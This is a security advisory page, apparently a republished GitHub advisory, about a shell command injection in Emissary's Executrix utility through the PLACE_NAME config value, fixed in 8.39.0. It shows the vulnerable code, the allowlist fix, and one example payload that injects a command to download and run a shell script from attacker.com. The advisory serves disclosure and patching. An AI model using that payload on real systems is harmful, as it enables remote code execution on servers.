GOV.NSA.EMISSARY:EMISSARY · CVE-2026-35581 · Package
FIX → 8.39.0
Emissary's Executrix utility builds shell commands from the PLACE_NAME configuration value, replacing only spaces with underscores. Shell metacharacters pass through to /bin/sh -c, so an attacker who can set that config value runs arbitrary commands on the host.
first public Apr 8, 2026 · 1 source
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Teams that run Emissary and let configuration files or admins set PLACE_NAME. The advisory says exploitation requires control over configuration values, such as administrative access or a compromised configuration source. Deployments that never expose PLACE_NAME to untrusted input face lower risk.
Not affected if no-untrusted-config-access, version-8.39.0-or-later
Who cares cwe-78, emissary, java, maven, self-hosted
gov.nsa.emissary:emissary version in the project's build file; affected if below 8.39.0Upgrade to 8.39.0
gov.nsa.emissary:emissary moves to 8.39.0 or later (fixed in PR #1290, released in 8.39.0)The Executrix utility class constructed shell commands by concatenating
configuration-derived values — including the PLACE_NAME parameter — with
insufficient sanitization. Only spaces were replaced with underscores, allowing
shell metacharacters (;, |, $, `, (, ), etc.) to pass through
into /bin/sh -c command execution.
Executrix.javaInsufficient sanitization (line 132):
this.placeName = this.placeName.replace(' ', '_');
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Shell sink (line 1052–1058):
protected String[] getTimedCommand(final String c) {
return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}
PLACE_NAME is read from a configuration fileExecutrix applies only a space-to-underscore replacementplaceName is used to construct temporary directory paths (tmpNames[DIR])tmpNames[DIR] is concatenated into a shell command string/bin/sh -cPLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"
After the original sanitization: test;curl_attacker.com/shell.sh|bash;x
(semicolons, pipes, and other metacharacters preserved)
Fixed in PR #1290, merged into release 8.39.0.
The space-only replacement was replaced with an allowlist regex that strips all
characters not matching [a-zA-Z0-9_-]:
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");
protected static String cleanPlaceName(final String placeName) {
return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}
This ensures that any shell metacharacter in the PLACE_NAME configuration
value is replaced with an underscore before it can reach a command string.
Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.
If upgrading is not immediately possible, ensure that PLACE_NAME values in all
configuration files contain only alphanumeric characters, underscores, and hyphens.
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.